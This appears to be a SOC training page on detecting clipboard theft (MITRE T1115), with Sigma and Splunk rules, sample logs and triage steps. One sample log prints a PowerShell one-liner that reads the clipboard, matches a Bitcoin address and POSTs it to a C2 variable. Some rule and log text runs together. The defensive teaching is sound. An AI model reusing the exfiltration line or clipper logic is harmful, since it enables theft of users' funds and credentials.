Clipboard Data (T1115) is the quiet assist behind crypto theft and credential leakage: malware reads the OS clipboard with clip.exe, Get-Clipboard, or osascript, then either exfiltrates whatever a user last copied or silently swaps a copied wallet address for the attacker's own. Process-creation and PowerShell script-block logs catch the calls that raise no security event by default.
Practice detecting Clipboard Data on realistic SIEM, XDR alerts in SOCSimulator Operations.
“Clipboard Data is documented as technique T1115 in MITRE ATT&CK® v19.1 under the Collection tactic. Detection requires visibility into SIEM, XDR telemetry.”
Every OS exposes the same handful of primitives. On Windows, the Win32 clipboard API is OpenClipboard, GetClipboardData, SetClipboardData, and EmptyClipboard; almost nothing calls these directly, because clip.exe (a built-in copy-to-clipboard utility) and PowerShell's Get-Clipboard cmdlet wrap them for scripting use. A process that wants to react the instant new content lands, rather than poll, registers with AddClipboardFormatListener or the older SetClipboardViewer, which delivers a WM_CLIPBOARDUPDATE message on every copy. On macOS the equivalent is NSPasteboard through Cocoa, or the command-line pbpaste and pbcopy, and osascript's 'the clipboard' AppleScript primitive. Linux desktops route through X11's selection model via xclip or xsel against the CLIPBOARD or PRIMARY selection.
A clipboard-swapping clipper adds one more step: it reads the new clipboard content, tests it against a regex for wallet-address formats (Bitcoin's base58 or bech32 patterns, Ethereum's 0x-prefixed hex), and if it matches, calls EmptyClipboard followed by SetClipboardData with an attacker-controlled address pulled from a lookup table. The Sekoia writeup on Stealc documents this exact chain: a Stealc infection's C2 configures a next-stage download that Sekoia identifies as a Laplas Clipper, which then owns the clipboard-swap logic while Stealc continues harvesting browser and wallet data separately. A clipper only needs a lookup table of attacker-controlled wallet addresses, most often Bitcoin and Ethereum, to swap whatever a victim copies.
What actually generates telemetry depends on which layer the malware uses. clip.exe, Get-Clipboard, and osascript are all process launches, so they show up in standard process-creation logs (Sysmon Event ID 1, EDR process trees) the same as any other executable. Inline PowerShell use of the .NET Clipboard class only surfaces if Script Block Logging (Event ID 4104) is enabled, since the command line itself may show nothing more than powershell.exe -nop -w hidden. Raw Win32 API calls from a compiled binary generate no Windows Security event at all by default; catching those depends on kernel-level ETW providers or API-hooking EDR sensors, which is why analysts lean on the wrapper utilities and script logs as the practical detection surface rather than the API calls themselves.
Clipboard collection is almost never the first thing that happens on a host. It arrives after initial execution, usually as a module or a downloaded second stage from a broader infostealer or loader rather than a standalone payload. SOCSimulator's free room 'StealC: Cheat Tool to Emptied Wallet' walks this exact chain: a fake game cheat delivers StealC, StealC's C2 hands back a next-stage URL, and the payload it fetches is a Laplas Clipper that starts swapping cryptocurrency addresses the moment the user copies one.
MITRE's own procedure list shows the same pattern across very different threat actors: Agent Tesla and Metamorfo both harvest and, in Metamorfo's case, actively hijack clipboard contents for banking and crypto theft, CosmicDuke exfiltrates clipboard contents every 30 seconds as part of a broader espionage toolkit, and APT38 deployed the KEYLIME trojan with clipboard collection built in. The common thread is that clipboard theft is cheap to add and high-value to keep: unlike a keylogger, it captures exactly the sensitive string a user believed they controlled, and for a clipper the damage from a single successful swap is final the moment the victim pastes and confirms a blockchain transaction, so detection value concentrates on the loader and persistence stage rather than the swap event itself.
The following detection strategies help SOC analysts identify Clipboard Data activity. These methods apply across SIEM, XDR environments and can be implemented as detection rules, correlation queries, or behavioral analytics in your security platform.
detection:
selection_clip:
Image|endswith: '\clip.exe'
selection_getclip:
CommandLine|contains: 'Get-Clipboard'
condition: 1 of selection_*Combines SigmaHQ's 'Data Copied To Clipboard Via Clip.EXE' and 'PowerShell Get-Clipboard Cmdlet Via CLI' rules into one process-creation query. Both fire on the utility-level clipboard read that most Windows infostealers and clippers use instead of raw Win32 API calls.
detection:
selection:
Image|endswith: '/osascript'
CommandLine|contains|all:
- ' -e '
- 'clipboard'
filter_optional_opencode:
ParentImage|endswith: 'opencode'
CommandLine|contains|all:
- 'osascript'
- ' -e '
- 'set imageData to the clipboard'
- 'set fileRef'
condition: selection and not 1 of filter_optional_*SigmaHQ's 'Clipboard Access Via OSAScript' rule for macOS. Flags osascript reading clipboard content while excluding the known opencode developer-tool false positive; this is the coverage floor since raw NSPasteboard calls bypass it entirely.
EventID: 1
UtcTime: 2026-07-15 14:02:11.348
Image: C:\Windows\System32\clip.exe
CommandLine: clip.exe
User: CORP\jmartel
IntegrityLevel: Medium
ParentImage: C:\Users\jmartel\AppData\Local\Temp\update.exe
ParentCommandLine: "update.exe" -installindex=* EventCode=4104
(ScriptBlockText="*Get-Clipboard*" OR ScriptBlockText="*Windows.Clipboard*"
OR ScriptBlockText="*Windows.Forms.Clipboard*" OR ScriptBlockText="*GetText()*")
| where NOT match(User, "S-1-5-18")
| table _time, ComputerName, User, ScriptBlockTextPowerShell Script Block Logging capture of clipboard access, mirroring Elastic's 'PowerShell Suspicious Script with Clipboard Retrieval Capabilities' rule. Catches both the Get-Clipboard cmdlet and raw .NET Clipboard API calls that clip.exe process-creation logging alone would miss, while excluding the SYSTEM account noise Elastic's rule also filters.
EventCode: 4104
UtcTime: 2026-07-15 14:02:12.910
ComputerName: FS-CORP-07.corp.local
User: CORP\svc_reports
ScriptBlockText: $addr = Get-Clipboard; if ($addr -match '^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,39}$') { Invoke-WebRequest -Uri $c2 -Method POST -Body $addr }clip.exe and Get-Clipboard are ordinary admin and scripting tools, not just attacker utilities. Password managers, cross-device clipboard-sync features, RDP and Citrix clipboard redirection helpers, accessibility software, and countless help-desk or deployment PowerShell scripts read or write the clipboard as part of their job. On macOS, Automator workflows, browser extensions that bridge to the system pasteboard, and IDE clipboard-integration features (the exact case SigmaHQ's opencode filter exists for) call osascript or NSPasteboard legitimately and constantly.
The fix is identity and correlation, not banning the API. Allow-list clipboard utilities and automation scripts by signer or known script hash, and reserve alerting for clipboard access from processes with no prior baseline on that host, especially ones freshly dropped into Temp, AppData, or a LaunchAgent. Escalate only when clipboard access is followed by something that would not happen in a benign script: an outbound POST, a write to a staging file, or a value entering and leaving the clipboard in a different format. A help-desk script calling Get-Clipboard once during a documented session looks nothing like a clipper polling every 500 milliseconds on an unmanaged workstation.
These realistic alert examples show what Clipboard Data looks like in your security tools. Use them to tune detection rules and train analysts to recognize true positives versus false positives in live environments.
clip.exe ran on WS-DEV-22 with an unsigned parent process located in %APPDATA%\Local\Temp\update.exe, no explorer.exe ancestry, and no prior clipboard-tool history on the host. Non-interactive clip.exe launches from a Temp-path binary are a common infostealer collection step, not user activity.
Event ID 4104 on FS-CORP-07 captured a script block calling Get-Clipboard | Out-File clip.tmp, followed within two seconds by a base64-encoded outbound POST from the same PowerShell process. Clipboard capture chained directly into staging is consistent with credential or wallet-address theft, not routine automation.
osascript -e 'the clipboard as text' executed on a MacBook under a LaunchAgent installed by a pirated utility, with no IDE or automation-tool parent. The Sigma rule's opencode filter did not apply, and the LaunchAgent persistence path points to a dropped clipper rather than a developer script.
Start by identifying the process: is it signed, is it on the approved clipboard-tool or automation list, and has it run on this host before? If Script Block Logging is available, read the actual script block rather than trusting the process name; a benign deployment script and a credential-harvesting one-liner can both show up as 'powershell.exe' in a process tree. Check what happened immediately before (a download, a macro, a LaunchAgent install) and immediately after (a network call, a file write, repeated re-reads of the clipboard) to establish whether this is a one-off legitimate read or a persistent watcher.
If the process is unauthorized, treat speed as the priority: a clipper's objective completes the moment the user pastes and confirms, so isolate the host and warn the user not to complete any pending wallet transfer or paste of sensitive data until the address or value has been manually verified against a trusted source. Recover and reverse the dropped binary to identify the clipper or stealer family and its C2, hunt across the fleet for the same AddClipboardFormatListener registration pattern or hash, and treat any cryptocurrency transaction initiated on that host after the process launched as compromised until proven otherwise.
Investigate Clipboard Data on realistic SIEM, XDR, and firewall consoles, free.
Data exfiltration is the unauthorized transfer of sensitive data out of a victim environment to attacker-controlled infr…
Read more GlossaryData Loss Prevention (DLP) is a set of technologies and policies that detect and prevent unauthorized transmission, stor…
Read more GlossarySecurity Information and Event Management (SIEM) is a platform that aggregates, normalizes, and correlates log data from…
Read more GlossaryLog management is the process of collecting, normalizing, storing, retaining, and analyzing log data from across the IT …
Read more Career PathDFIR Analysts combine forensic investigation with incident response. You collect and analyze digital evidence from compr…
Read more Career PathIncident Responders lead the technical response when confirmed breaches happen. You coordinate containment, run forensic…
Read more ToolThe SIEM console in SOCSimulator replicates the workflow of enterprise platforms like Splunk Enterprise Security, Micros…
Read more ToolThe XDR console in SOCSimulator replicates the investigation workflow of platforms like CrowdStrike Falcon, Microsoft De…
Read more ComparisonSOCSimulator wins on operational realism. You get multi-tool shift simulation with SLA pressure, noise injection, and al…
Read more GlossaryComplete glossary of Security Operations Center terminology for aspiring SOC analysts.
Read more FeaturePractice alert triage under realistic time pressure with SLA timers and noise injection.
Read more FeatureStructured CTF-style investigation operations covering real-world attack scenarios.
Read more